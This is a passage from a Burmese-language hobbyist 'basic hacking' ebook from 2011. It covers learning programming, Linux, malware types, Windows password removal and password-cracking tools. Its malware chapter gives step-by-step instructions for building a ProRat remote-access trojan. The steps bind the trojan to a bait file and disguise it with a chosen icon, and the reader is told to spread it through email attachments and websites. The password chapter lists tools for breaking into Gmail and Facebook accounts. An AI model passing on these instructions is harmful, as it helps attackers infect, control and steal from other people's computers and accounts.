Hacker တစ္ေယာက္ျဖစ္ဖို႔ Programming language လိုအပ္ပါသလားလို႔…ေမးၾကည့္ပါ။
ဒီလိုေမးလာရင္ အေျဖက သင့္ရဲ့ရည္မွန္းခ်က္ေပၚမွာမူတည္ပါတယ္။
ဘယ္လိုလဲဆိုေတာ့…သင့္အေနနဲ႔ ဘယ္လို Hacker ျဖစ္ခ်င္တယ္ဆိုတာပါပဲ။
သင့္အေနနဲ႔ ရိုးသားတဲ့ Hacker တစ္ေယာက္ျဖစ္ဖို႔ Programming ပိုင္းကိုမသိပဲေနလို႔ရပါတယ္။
ေျပာရရင္ Ethical hacker တစ္ေယာက္ျဖစ္ဖို႔ေပါ့ဗ်ာ။
သင့္အေနနဲ႔…security tools ေတြအေၾကာင္းကို ေသေသခ်ာခ်ာသိတယ္ဆိုရင္ အခ်ိဳ႕ေသာ hacking မ်ားကို
လုပ္ေဆာင္နုိင္ပါတယ္။
သင့္အေၾကာင္းသိတဲ့သူအခ်ိဳ႕ကေတာ့ သင့္ကို script kiddies (Tool user hacker ) လို႔သတ္မွတ္ၾကပါမယ္။
တကယ္လို႔ tool user hacker အေနနဲ႔မေက်နပ္နိုင္ပဲ…Intermediate hacker တို႔ Elite hacker တို႔ျဖစ္ခ်င္
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 12
တယ္ဆိုရင္ေတာ့…Programming ပိုင္းကို အေျခခံကေနစျပီးေတာ့…ကၽြမ္းကၽြမ္းက်င္က်င္ထိတတ္ထား
သင့္ပါတယ္။Programming အေၾကာင္းကိုသိတဲ့အတြက္ software အသစ္ေတြကိုတီထြင္နိုင္ပါတယ္။
တကယ္ Hacker တစ္ေယာက္ျဖစ္ခ်င္တယ္ဆိုရင္ေတာ့ Programming ပိုင္းကိုေသေသခ်ာခ်ာသိထားဖို႔
လိုပါတယ္။
Where should I start?
တကယ္လို႔ သင့္အေနနဲ႔Hackerတစ္ေယာက္ျဖစ္ခ်င္လို႔Programmingပိုင္းကိုေသခ်ာေလ့လာခ်င္တယ္
ဒါေပမယ့္ ဘယ္ကစေလ့လာရမွန္းမသိရင္ အၾကံျပဳခ်င္ပါတယ္။HTML ဆိုတဲ့Hyper Text Markup Language
ကိုစတင္ေလ့လာရပါမယ္။ဘာလို႔လဲဆိုေတာ့ HTML ဆိုတာ Programming ပိုင္းမွာ အလြယ္ဆံုး Language
တစ္ခုျဖစ္ပါတယ္။ျပီးေတာ့ website ေတာ္ေတာ္မ်ားမ်ားကို html ကိုအဓိကပါ၀င္ျပီး ေရးဖြဲ႔ထားပါတယ္။
ျပီးေတာ့ HTML ဟာေလ့လာရလြယ္ကူတဲ့ Language တစ္ခုပါ။
ျပီးရင္ေတာ့…Microsoft ကထုတ္လုပ္လိုက္တဲ့ programming language တစ္ခုျဖစ္တဲ့ C# ကိုေလ့လာပါ။
ေနာက္ဆံုး လံုး၀မေလ့လာခ်င္ေတာ့ဘူးဆိုရင္ေတာ့…ဘိတ္ဆံုးအေနနဲ႔ PHP ေလးကိုေလ့လာဖို႔ေျပာခ်င္ပါတယ္
ဘာလ႔လို ဲဆိုေတာ့ အခုခ်ိန္မွာ PHP attacker ေတြက ေတာ္ေတာ္ေပါမ်ားေနပါတယ္။PHP language နဲ႔…
လုပ္လို႔ရတဲ့အရာေတြကေတာ္ေတာ္မ်ားပါတယ္။PHP web designer ေတြကလဲ ေတာ္ေတာ္ကိုထြက္လာပါျပီ။
ဒါေၾကာင့္ PHP ကိုေလ့လာဖို႔ေျပာခ်င္ပါတယ္။
တကယ္လို႔ Programming ကိုေလ့လာမယ္ဆိုရင္…ဒါေလးေတြကို မွတ္ထားေပးပါ။
၁…သင့္အေနနဲ႔ Programming ကိုေသခ်ာေလ့လာမွာျဖစ္တဲ့အတြက္…စာအုပ္ေကာင္းေကာင္းတစ္အုပ္ကို
၀ယ္ယူလိုက္ပါ။ျပီးရင္ အခ်ိန္ေတာ္ေတာ္မ်ားမ်ားကို အဲဒီ့စာအုပ္နဲ႔ ျဖဳန္းလိုက္ပါ။
၂…ေလ့လာေနရင္းနဲ႔လဲ ပစ္မထားပါနဲ႔။အခ်ိန္အၾကာၾကီး programming language ကိုပစ္ထားမယ္ဆိုရင္
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 13
ျပန္ျပီးေတာ့ ေမ့တတ္ပါတယ္။ေမ့သြားမယ္ဆိုရင္…ျပန္ေလ့လာရတာ ၾကာပါတယ္။အခ်ိန္ကုန္ပါတယ္။
၃…ျပီးေတာ့ စာအုပ္ထဲမွာပါတဲ့ ေလ့က်င့္ခန္းေတြကို computer နဲ႔ လုပ္ၾကည့္ပါ။လက္ေတြ႔ရိုက္ၾကည့္ပါ။
ဒါက သင္ေလ့လာေနတဲ့ language ကိုလ်င္လ်င္ျမန္ျမန္တတ္ေျမာက္ေစျပီးေတာ့…
ေမ့သြားတာကိုလဲ ေဖ်ာက္ဖ်က္နိုင္ပါတယ္။
၄…တကယ္လို႔ သင့္အေနနဲ႔စာအုပ္ထဲမွာပါတဲ့အေၾကာင္းအရာတစ္ခုကို နားမလည္ဘူးဆိုရင္ ေသခ်ာဖတ္ပါ။
အၾကိမ္ၾကိမ္အခါခါဖတ္ပါ။လံုး၀မရေတာ့ဘူးဆိုရင္ သင့္ကိုကူညီနိုင္မယ့္ လူတစ္ေယာက္ကိုရွာပါေတာ့။
၅…ဒီတစ္ခ်က္ကေတာ့ ေတာ္ေတာ္ေကာင္းပါတယ္။ဘာလုပ္ရမွာလဲဆိုေတာ့ internet ေပၚမွာရွိတဲ့……..
Programming forum ေတြကိုရွာျပီး member ၀င္ပါ။ျပီးရင္ အဲထဲမွာ ၀င္ေရာက္ေလ့လာပါ
အဲဒီလို forum ေတြမွာ professional ေတာ္ေတာ္မ်ားမ်ားရွိတတ္ပါတယ္။
၆…ေနာက္ဆံုးအခ်က္ကေတာ့…ေလ့က်င့္ခန္းမ်ားမ်ားလုပ္ပါ။code တစ္ခုကိုျမင္လိုက္တာနဲ႔ …….
ဒါဟာ ဘာ language နဲ႔ေရးထားတယ္ဆိုတာကိုသိေအာင္ၾကိဳးစားပါ။
ျပီးရင္ စိတ္ကူးေလးေတြ ထုတ္ပါ။အဲဒီ့စိတ္ကူးကို ကိုယ္တိုင္အေကာင္အထည္ေဖာ္ပါ။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 14
Chapter 3
Linux
Linux ဆိုတာဘာလဲ?
Linux ဆိုတာ free ရတဲ့ open source OS ျဖစ္ပါတယ္။ဒီေကာင့္ကိုဘာေၾကာင့္ထည့္သြင္းရတာလဲ။
ဟုတ္ကဲ့ ေျပာပါမယ္။ကမၻာေပၚမွာ ရွိတဲ့ hacker ေတာ္ေတာ္မ်ားမ်ားဟာ Linux ကိုသံုးၾကပါတယ္။
ဘာလို႔သံုးတာလဲ။ဒီလိုပါ။Hacker ေတြဟာ အသစ္အသစ္ေတြကိုဖန္တီးခ်င္ၾကပါတယ္။
Liux ဆိုတဲ့ operating system ဟာ Microsoft ကထုတ္တဲ့ window နဲ႔မတူပဲ သူ႔ဆီမွာပါတဲ့… အရာေတြကို
ျပန္လည္ ျပင္ဆင္လို႔ရပါတယ္။ဥပမာေပါ့…Linux မွာ built-in ပါလာတဲ့ software တစ္ခု။
အဲဒီ့ software ကို ကၽြန္ေတာ္က ျပင္ဆင္ခ်င္တယ္ဆိုရင္ ျပင္လို႔ရပါတယ္။ကိုယ္မၾကိဳက္တဲ့အခ်က္ေလးေတြကို
ထုတ္ပစ္တာေပါ့။(ဒါေပမယ့္ အဲဒီ လို ျပင္ဆင္ျပီးသား software ကို အမ်ားသူငါေရွ႕ကို ခ်ျပလို႔မရပါဘူး။
သူမ်ားေတြကိုလဲသိေစခ်င္တယ္ဆိုရင္ေတာ့…အဲဒီ့ software ကိုတီထြင္ခဲ့တဲ့ မူလလူထံဆီကေန…
Permission ေတာင္းရပါတယ္။---မွတ္ခ်က္)
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 15
Hacker သမားေတြကလဲ အသစ္ေတြကိုဖန္တီးခ်င္တယ္။ျပီးေတာ့ သူမ်ားတီထြင္ထားတာကိုလ ဲ
ထပ္ဆင့္ပိုေကာင္းေအာင္လုပ္ခ်င္တယ္…ဒါေတြအတြက္ Linux ကိုသံုးၾကပါတယ္။
ဒီထက္ ပိုျပီးေတာ့ Linux ကိုသံုးရတဲ့အခ်က္ေတြကေတာ့…
၁….ကမၻာေပၚမွာရွိတဲ့…Webserver ေတာ္ေတာ္မ်ားမ်ားဟာ Linux ကိုသံုးထားၾကပါတယ္။
ဘာလို႔ windows ကိုမသံုးတာလဲ။အဲဒီ့ေမးခြန္းအတြက္အေျဖကေတာ့…
Linux ရဲ့ security နဲ႔ Microsoft ကထုတ္တဲ့ window ရဲ့ security နဲ႔ယွဥ္လိုက္ရင္…Linux ရဲ့
Security ကပိုေကာင္းတာကိုေတြ႔ရပါတယ္။ျပီးေတာ့ virus ေတာ္ေတာ္မ်ားမ်ားလဲ မ၀င္နိုင္ပါဘူး။
ဒီထက့္ပိုေကာင္းတဲ့ အခ်က္ေတြအမ်ားၾကီးရွိပါတယ္။စကားလမ္းလြဲသြားမွာစိုးလို႔ မေျပာေတာ့ပါဘူး။
၂… အခ်ိဳ႕ေသာ hacking program ေကာင္းေကာင္းေတြက Linux ေပၚမွာပဲ..အသံုးျပဳနိုင္ပါတယ္။
၃… ဒီတစ္ခ်က္ေလးကေတာ့ နိုင္ငံရပ္ျခားေတြမွာ အေရးသိပ္မပါ ပါဘူး။
Linux က free ရျပီးေတာ့ Microsoft ကထုတ္တဲ့ window ကေတာ့ ပိုက္ဆံေပး၀ယ္ရပါတယ္။
(မွတ္ခ်က္---ကၽြန္ေတာ့မွာ Linux အေၾကာင္းေရးထားတဲ့ စာအုပ္ရွိပါတယ္။မၾကာခင္တင္ေပးပါမယ္။
ျပီးေတာ့ ကၽြန္ေတာ္ကိုယ္တိုင္လဲ Linux နဲ႔ window ကြာျခားခ်က္ေတြကိုေရးပါမယ္။)
ဒါေၾကာင့္ Hacker တစ္ေယာက္ျဖစ္ခ်င္တယ္ဆိုရင္ Linux ဆိုတဲ့ operating system ကိုလဲ ေလ့လာထားသင့္
ပါတယ္
သင့္အေနနဲ႔ Linux ကိုေလ့လာခ်င္တယ္။ဒါေပမယ့္ ဘယ္ကစရမွန္းမသိရင္…
ကၽြန္ေတာ္လမ္းညႊန္ေပးပါမယ္။
http://www.linux.org/
http://www.beginlinux.org/
http://www.linux-tutorial.info/ မွာေလ့လာနိုင္ပါတယ္။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 16
Chapter 4
Malware
What is Malware?
What is Malware? ရိုးရိုးေလးေျဖလိုက္မယ္။Malware = Virus. ျပီးေရာ ျပတ္တယ္ေနာ္။
Malware ဆိုတဲ့ အေကာင္ဟာ ယေန႔အခ်ိန္မွာ ျပသနာၾကီးတစ္ခုျဖစ္လာပါျပီ။ဟုိ computer တိုက္လိုက္၊
ဒီ computer တိုက္လိုက္နဲ႔။အားတယ္ကိုမရွိဘူး။
ေန႔တိုင္းေန႔တိုင္းမွာ လူေပါင္းမ်ားစြာဟာ အမ်ိဳးမ်ိဳးေသာ malware ေတြရဲ့တိုက္ခုိက္ျခင္းကိုခံေနရပါတယ္။
ကၽြန္ေတာ္ေျပာတာက လူေပါင္းမ်ားစြာရဲ့ computer ကိုေျပာတာပါ။
Malware အမ်ိဳးမ်ိဳးရွိပါတယ္။အဆိုးဆံုးေတြကေတာ့ virus,trojansနဲ႔ worms ဆိုတဲ့အေကာင္ေတြပဲျဖစ္ပါတယ္
ဟ…ဟ…ဘာလဲဟ hacker နဲ႔ Malware နဲ႔ဘာဆိုင္လို႔လဲကြ။အဲလိုမေမးပါနဲ႔။Hacker ေတာ္ေတာ္မ်ားမ်ားဟာ
Trojan ေတြကိုဖန္တီးတတ္ရပါမယ္။ဘာလို႔လဲဆိုေတာ့ သူ႕အေနနဲ႔ webserverတစ္ခုကို hackေတာ့မယ္ဆိုရင္
မ Hack ခင္မွာ Trojan ေတြကို ေမြးရပါတယ္အဲေလ ဖန္တီးရပါတယ္။
ျပီးရင္ လူအမ်ားစိတ္၀င္စားေအာင္ဆြဲေဆာင္ျပီး internet ေပၚကေန Trojan ေတြကို တျခားတစ္ေယာက္ရဲ့
Computer ထဲသို႔ထည့္သြင္းပါတယ္။ဒါဆိုရင္ သူဟာ Trojan ၀င္သြားတဲ့ စက္တိုင္းကို ထိန္းခ်ဳပ္နိုင္ပါျပီ။
ဒါေၾကာင့္လိုအပ္ပါတယ္။(ဒါကေတာ့ အက်ဥ္းေျပာျပထားတာပါ)
ကၽြန္ေတာ့အေနနဲ႔ ဒီ စာအုပ္မွာ ကိုယ္တိုင္ Trojan (malicious program)ကိုဖန္တီးနည္းေျပာျပပါမယ္။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 17
Definitions
1…virus-----virus ေတြဟာ လူရဲ့လုပ္ေဆာင္မႈမပါပဲနဲ႔မပ်ံ႕ႏွံ႔နိုင္ပါဘူး။သူတို႔ေတြဟာ ကပ္ပါးေကာင္ေတြပါပဲ။
သူတို႔ခ်ည္းပဲသီးသန္႔မပ်ံ႕နိုင္ပါဘူး။host file ဆိုတဲ့ virus ေတြကိုလက္ခံတဲ့ file ေတြရဲ့အကူ
လိုပါတယ္။အဲဒီလို လက္ခံတဲ့ file ေတြဟာကၽြန္ေတာ္တို႔ျမင္ဖူးေနၾက file ပံုစံေတြပါပဲ။
တကယ္လို႔မ်ားသင္ဟာ virus ကပ္ပါေနတဲ့ file ကို ဖြင့္မိမယ္ဆိုရင္ေတာ့…
အဲဒီ့ virus ကအသက္၀င္လာပါတယ္။ျပီးေတာ့ သင့္ရဲ့ computer ကိုေနွာက္ယွက္ပါေတာ့တယ္
သူတို႔ရဲ့ဆိုးသြမ္းခ်က္ေတြက hardware,software,file ေတြကိုဖ်က္စီးတာပါပဲ။
Virus ေတြဟာ file ေတြကို share(မွ်ေ၀တာ)လုပ္ရင္လဲ ပ်ံ႕နိုင္သလို…
Email ထဲက attachment မွာတြဲပို႕ရင္းနဲ႔လဲ ပ်ံ႕နိုင္ပါတယ္။
2…Worms--- virus ေတြနဲ႔မတူတဲ့ေကာင္ေတြကိုျပပါဆိုရင္ worms ေတြကိုျပရပါမယ္။worms ေတြက…
လူေတြရဲ့လုပ္ေဆာင္မႈမပါဘဲနဲ႔ပ်ံ႕နိုင္ပါတယ္။ဒီေကာင္ေတြက သူကိုယ္တိုင္ကုိယ္ပြားခြဲနိုင္တယ္
သူ႔ရဲ့ပံုစံတူ လုပ္ေဆာင္ခ်က္တူတဲ့ အေကာင္ေတြကိုပြားပါတယ္။သူကိုယ္တိုင္က system ကို
တိုက္ျပီဆိုရင္…တကယ့္ကုိယ္ပြားေတြအမ်ားၾကီးခဲြျပီးေတာ့တိုက္ပါတယ္။
3…Trojan--- ဒီေကာင္ေတြလဲဆိုးတာပဲ။ဒီေကာင္ စက္ထဲကို၀င္သြားျပီဆိုရင္လုပ္ခ်င္တာအကုန္လုပ္လို႔ရတယ္
အတိုက္ခံရသူရဲ့ desktop ေတြကိုေျပာင္းမယ္။file ေတြကိုဖ်က္မယ္။password ေတြကိုခိုးမယ္
အဆိုးဆံုး Trojan ၀င္သြားတဲ့ သူရဲ့စက္ကို အဲဒီ Trojan ဖန္တီးတဲ့သူက အေ၀းကေန
လွမ္းျပီးေတာ့ ပိတ္နိုင္တယ္ဗ်ာ။
Creating a malicious program with pro rat
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 18
Internet ကေန pro rat ဆိုတဲ့ software ကို download ဆြဲလိုက္ပါ။ဘယ္မွာေဒါင္းရမလဲဆိုေတာ့
http://prorat.net/downloads.php အဲဒီမွာေဒါင္းလို႔ရပါတယ္။
တကယ္လို႔ zip file နဲ႔ဆိုရင္ ျဖည္လိုက္ပါ။
Password ေတာင္းရင္ေတာ့ ကိုယ့္ကိစၥနဲ႔ကိုယ္ပဲေနာ္…ဟဲဟဲ
ကၽြန္ေတာ္သိတဲ့ password ကေတာ့ pro ျဖစ္ပါတယ္။
ျပီးရင္ install လုပ္စရာရွိတာကိုလုပ္။install လုပ္ျပီးရင္…program ကိုဖြင့္ပါ။
ဒီပံုအတိုင္းျမင္ရပါမယ္။
Create ကိုႏွိပ္ပါ။ျပီးရင္ create proratserver ကိုေရြးပါ။
ျပီးရင္ သင့္စက္ရဲ့ Ip address ကိုထည့္လိုက္ပါ။email ကိုပါထည့္ပါ။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 19
ထည့္ျပီးသြားရင္ General setting ကိုႏွိပ္ပါ။ေအာက္ကပံုအတိုင္းျဖည့္စရာေတြကိုျဖည့္လိုက္ပါ။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 20
Bind with File ကိုႏွိပ္ပါ။Bind ကိုသိတယ္ေနာ္။ၾကိဳးျဖင့္ခ်ည္တာပါ။
ဒါေၾကာင့္ Trojan ကို file တစ္ခုနဲ႔တြဲလိုက္တာပါ။တစ္ခုမွတ္ထားရမွာက computer အသံုးျပဳသူက Trojan
ကပ္ပါလာတဲ့ file ကို ဖြင့္မွသာ Trojan က
လႈပ္ရွားမွာျဖစ္ပါတယ္။Bind with file ကိုႏွိပ္ျပီးရင္ select file ကိုေရြးပါ။ကိုယ္တြဲထားခ်င္တဲ့ file
တစ္ခုကိုေရြးေပးလိုက္ပါ။
အိုေက file တြဲျပီးသြားျပီဆိုရင္…Server Extensions ကိုႏွိပ္ပါ။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 21
အဲဒီမွာ EXE(…) ကိုေရြးပါ
ေရြးျပီးရင္ server icon ကိုႏွိပ္ပါ။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 22
အခုခ်ိန္မွာ သင့္အေနနဲ႔ မိမိႏွစ္သက္တဲ့ icon တစ္ခုကိုေရြးလို႔ရပါျပီ။
ၾကိဳက္တာကိုေရြးပါ။ေနာက္ဆံုးမွာေတာ့ create server ကိုႏွိက္လိုက္ပါေတာ့။
ဒါဆိုရင္ Trojan တစ္ခုကိုဖန္တီးျခင္းျပီးဆံုးသြားပါျပီ။Hacker တစ္ေယာက္ကေတာ့ ဒီအတိုင္း…
ရပ္ေနမွာမဟုတ္ပါဘူး။အဲဒီ Trojan ကို user ေတြထံ ျပန့္သြားေအာင္ လုပ္မွာပါ။
လုပ္နည္းေတြကေတာ့ အမ်ားၾကီးပါ။ဥပမာ mail မွာ attachment နဲ႔တြဲပို႔တာတို႔…website ေတြမွာလိုက္
ျဖန္႔တာတို႔ေပါ့။ဒါေပမယ့္ လူစိတ္၀င္စားေအာင္လုပ္ဖို႔ေတာ့လိုပါတယ္။ဒါမွလဲ…user က download ဆြဲမွာေပါ့။
ကဲ ဒီေနရာေလးမွာ creating a Trojan with ProRat ဆိုတဲ့က႑ေလးအဆံုးသတ္လိုက္ပါမယ္။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 23
How to prevent from Malware
မိမိကိုယ္တိုင္က အဲဒီလို trojan ၀င္တာမခံခ်င္ဘူးဆိုရင္ ကာကြယ္လို႕ရတဲ့နည္းလမ္းေတြရွိပါတယ္။
ဘာလဲဆိုေတာ့…..အပတ္စဥ္ျဖစ္ျဖစ္ ေန႔စဥ္ျဖစ္ျဖစ္ update လုပ္တဲ့ antivirus software တစ္ခုရွိရပါမယ္။
ျပီးေတာ့…Firewall ကိုလဲမိမိရဲ့စက္မွာထည့္သြင္းထားရပါမယ္။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 24
Chapter 5
Hacking Window PASSWORD
Cracking window password
ကၽြန္ေတာ္ ဒီစာအုပ္မွာ…window ရဲ့ admin password ကိုေက်ာ္တဲ့နည္းေလးေျပာျပပါမယ္။
ကၽြန္ေတာ္သိတာကေတာ့ တစ္နည္းပဲရွိပါတယ္။ဒါေပမယ့္ window xp မွာေတာ့ ၂နည္းပါ
Window xp မွာ ပထမနည္းက window ကို safe mode နဲ႔တက္လိုက္ပါ။ F8 ကိုႏွိပ္ျပီးတက္ရတာျဖစ္ပါတယ္။
ဒါဆိုရင္ password မေတာင္းပါဘူး။ျပီးေတာ့မွ…ကုိယ့္ဘာသာ password ေျပာင္းလိုက္ပါ။
Control panel ထဲကေန password ကိုေျပာင္းလို႔ရပါတယ္။
ေနာက္တစ္နည္းကေတာ့ တျခား window ေတြနဲ႔အတူတူပါပဲ။
http://www.hirenbooted.org/download မွာ Hiren’s CD ကိုအရင္ download ဆြဲပါ။
ျပီးရင္ အေခြတစ္ေခြနဲ႔ burn လိုက္ပါ။
Password ကိုဖယ္မယ္ဆိုရင္ Bios setting ထဲမွာ First boot ကို အရင္ဆံုး DVD or CD Drive
ကိုေရြးေပးရပါမယ္။
ေအာ္ေမ့လို႔ ေဒါင္းလုပ္ဆြဲထားတဲ့ဟာကို CD အလြတ္တစ္ခ်က္ထဲကို Burn ရမယ္ေနာ္။
ကဲျပန္စမယ္…ေရြးျပီးျပီဆိုရင္ CD ကိုထည့္လိုက္ပါ။
Boot ကေနျပီး Hiren’s CD ကို Run ပါ
Password ကိုဖယ္မွာျဖစ္တဲ့အတြက္ Password & Registry tool ကိုေရြးပါ။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 25
ဘယ္လိုေရြးရမလဲဆိုေတာ့ သူ့ေရွ့ကနံပါတ္ကိုရိုက္ရမွာျဖစ္ပါတယ္။Mouse နဲ့ေရြးလို့မရပါဘူး။
ပထမအဆင့္ေရြးျပီးရင္ ေနာက္တစ္ဆင့္က offline NT/2000/XP/vista/7 password changer
ကိုေရြးရပါမယ္
ျပီးရင္ေတာ့ ေမ့သြားတဲ့ Password ကိုျပန္ျဖတ္နိုင္မွာျဖစ္ပါတယ္။ ျဖတ္ျပီးရင္ေတာ့ ‘q’ ကိုႏွိပ္ျပီး
Enter ေခါက္ျပီးေတာ့ ထြက္သြားရပါမယ္။
အားလံုးျပီးရင္ေတာ့ ကြန္ပ်ဴတာကို restart ခ်ရပါမယ္။
Window ျပန္တက္လာရင္ေတာ့ password ရွိေတာ့မွာမဟုတ္ပါဘူး။ဒါေလးကေတာ့သိသေလာက္ေလးပါ။
အဲဒါေလးကို ျပန္လည္ကာကြယ္ခ်င္တယ္ဆိုရင္ေတာ့….
How to prevent window password from changing
ကုိယ့္ password ကိုသူမ်ားေျပာင္းလို႔မရေအာင္လုပ္တဲ့နညး္ပါ။
Window key + R> gpedit.msc>user configuration>administrative template>system>ctrl+alt+
Del ….ျပီးရင္ ညာဘက္ျခမ္းမွာျမင္ရတဲ့ Remove change password ကိုdouble click နဲ႔၀င္ပါ။
ျပီးရင္ enable ဆိုတာကို အမွန္ျခစ္ေပးပါ။ apply,ok နဲ႔ျပန္ထြက္လာလို႔ရပါျပီ။
ဒါဆိုရင္ေတာ့…password ကပိုျပီးေတာ့စိတ္ခ်ရပါတယ္။
Changing Window Password while using computer
Computer ကိုသံုးေနစဥ္အတြင္း password ကို ေျပာင္းခ်င္ရင္ေတာ့…
Window key + R> cmd
အဲဒီမွာ net user ….ဆိုျပီး user နာမည္ကိုရိုက္ပါ။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 26
ျပီးရင္ က်လာတဲ့ စာေၾကာင္းေတြမွာ…password ကိုရိုက္။confirm password ကိုထပ္ရုိက္ပါ။
ဒါဆိုရင္ အစဥ္ေျပပါျပီ……….. ^_^
ဒါက window xp မွာေျပာတာပါ။window 7မွာဆိုရင္ေတာ့…cmd ကို run as administrative နဲ႔ဖြင့္ရပါမယ္။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 27
Chapter 6
Password
ဒီေန႔ ေခတ္မွာ password ဆိုတဲ့စကားလံုးဟာလူတိုင္းနဲ႔စိမ္းေတာ့တာမဟုတ္ပါဘူး။
ဟိုေနရာလဲ password ဒီေနရာလဲ password ျဖစ္ေနမွေတာ့ လူတိုင္းက ရင္းႏွီးေနျပီေပါ့။
Hacker ေတာ္ေတာ္မ်ားမ်ားဟာ password ကို hack ဖို႔အတြက္ နည္းလမ္းေပါင္းစံုနဲ႔ၾကိဳးစားပါတယ္
ဒါေၾကာင့္ password တစ္ခုကို hack မယ္ဆိုရင္ နညး္လမ္းမ်ားစြာနဲ႔ HACK လို႔ရပါတယ္။
ကၽြန္ေတာ္ကလဲ သိသေလာက္နည္းလမ္းေလးေတြကိုေျပာျပပါမယ္။
Hacking Gmail password !!!!!!!(easiest way)
Gmail ကို hack တဲ့နည္းေတြေတာ့အမ်ားၾကီးရွိတာပါပဲ။တခ်ိဳ႕ကေတာ့ Phishing ကိုသံုးတယ္။
ဒါေပမယ့္ Phishing ကသိပ္မလြယ္ပါဘူး။အခ်ိန္နဲနဲၾကာတယ္။သူမ်ားကတစ္ဆင့္ေျပာထားေပမယ့္
မလုပ္တတ္ရင္တိုင္ပတ္ေနေရာ…တကယ္လို႔ လုပ္တတ္ခ်င္သပဆိုရင္ ကၽြန္ေတာ္ဒီစာအုပ္ထဲမွာ…တျခား
Website ကေန ကူးထားတဲ့ အဂၤလိပ္စာေၾကာင္းေလးေတြ ထည့္ထားပါတယ္။အဲဒါေလးကို ဖတ္ျပီးေတာ့လုပ္ပါ
ဒါေပမယ့္ Gmail ကို hack ဖို႔အတြက္ အလြယ္ဆံုးနည္းကေတာ့ software သံုးျပီး hack တာပါပဲ။
ဒါေၾကာင့္ ကၽြန္ေတာ့အေနနဲ႔ software နာမည္ေတြ ကို ေျပာလဲေျပာျပခ်င္ပါတယ္။
ေျပာလဲ မေျပာျပခ်င္ဘူးဗ်။ဘာလို႔လဲဆိုေတာ့ အင္တာနက္ဆိုတာၾကီးက ေကာင္းတဲ့လူရွိသလို
မေကာင္းတဲ့လူလဲရွိတယ္ေလ။
ဘာပဲျဖစ္ျဖစ္ေျပာျပလိုက္ပါမယ္။
Webmail hack v.2.6
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 28
Advanced Password Retriever(APR)
ဒါေလးကေတာ့ နာမည္ေတြပဲေျပာထားတာပါ။သူတို႔ကေတာ့ ေတာ္ေတာ္ေကာင္းတယ္ခင္ဗ်။ရွယ္ပဲ
ဒါေပမယ့္လဲ ကၽြန္ေတာ္တို႔ျမန္မာလူမ်ိဳးေတြ တတ္ေျမာက္ေစဖို႔အတြက္…
http://www.oxid.it/cain.html (can and abel)
http://www.openwall.com?john/ (john the ripper)
http://freeworld.thc.org/thc-hydra/ (thc hydra)
http://www.solarwinds.com/ (solar winds)
http://www/antsight.com/zsl/rainbowcrack/ (rainbow crack) ဒါေလးေတြကိုေတာ့ေျပာထားမယ္ေနာ္
ကဲ အားလံုးပဲ ကုိယ္ဥာဏ္ရွိသလိုသာသံုးၾကပါေတာ့ဗ်ိဳ႕…………….
Hacking Facebook account!!!!!(easiest way)
ဒီေကာင္က်ေတာ့ tools ကနဲနဲမ်ားတယ္ဗ်။ေျပာျပမယ္ဗ်ာ။တကယ္လိုခ်င္ရင္ေတာ့ ကိုယ့္ဘာသာရွာၾကပါေနာ္
သူမ်ားကိုလိုက္ဒုကၡမေပးၾကပါနဲ႔။
Facebook Freezer
Password Finder
Facebook Cracker
Facebook hacking machine
Advanced Password Retriever(APR)
Firebug
Facebook password stealer
Ultimate account hack pro ေတြပဲျဖစ္ပါတယ္။
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 29
ကၽြန္ေတာ့ဆီမွာေလ အဲဒီ့ tools ေတြေတာ့အစံုရွိတယ္ခင္ဗ်။ဒါေပမယ့္တင္ေပးရဲဘူး။
မေကာင္းတဲ့သူေတြလက္ထဲေရာက္မွာစိုးလို႔ပါ။
အခုေတာင္ software နာမည္ေတြေျပာျပတာ လြန္လွျပီ။
ဘာလို႔လဲဆိုေတာ့ ရွာတတ္တဲ့သူေတြကို ေအးေအးေဆးေဆးပဲေလ။
ဒါေပမယ့္ အဲဒီေလာက္မလြယ္ပါဘူးခင္ဗ်။ေပးထားတာေတြက Free ရတာသိပ္မရွိပါဘူး။
အကုန္လံုး Product key ,serial key ေတြနဲ႔မွ သံုးလို႔ရမွာပါ။
ျပီးေတာ့တခ်ိဳ႕ေကာင္ေတြဆိုရင္ download ဆြဲလိုက္တာနဲ႔စက္ထဲကို virus ၀င္ပါတယ္။
မယံုမရွိပါနဲ႔။တကယ္ေျပာတာပါ။
ဒီေနရာမွာ password ကို hack တဲ့အေၾကာင္း password ကို crack တဲ့အေၾကာင္း ရပ္လိုက္ပါမယ္။
BE ENJOY!!!!!!!!!!!!!MY FRIENDS
Myanmar Basic Hacking ebook 2011
w w w . m y a n m a r h a c k i n g . c o m
Page 30
Chapter 7
Key-logging
About Keyloggers
Key-logging ဆိုတာကမိမိရဲ့ keyboard မွာရိုက္သမွ်ကိုမွတ္တမ္းတင္တာကိုေျပာျခင္းျဖစ္ပါတယ္
တနည္းေျပာရရင္ keyboard ကရိုက္သမွ်ကို မွတ္ထားတာေပါ့ဗ်ာ။
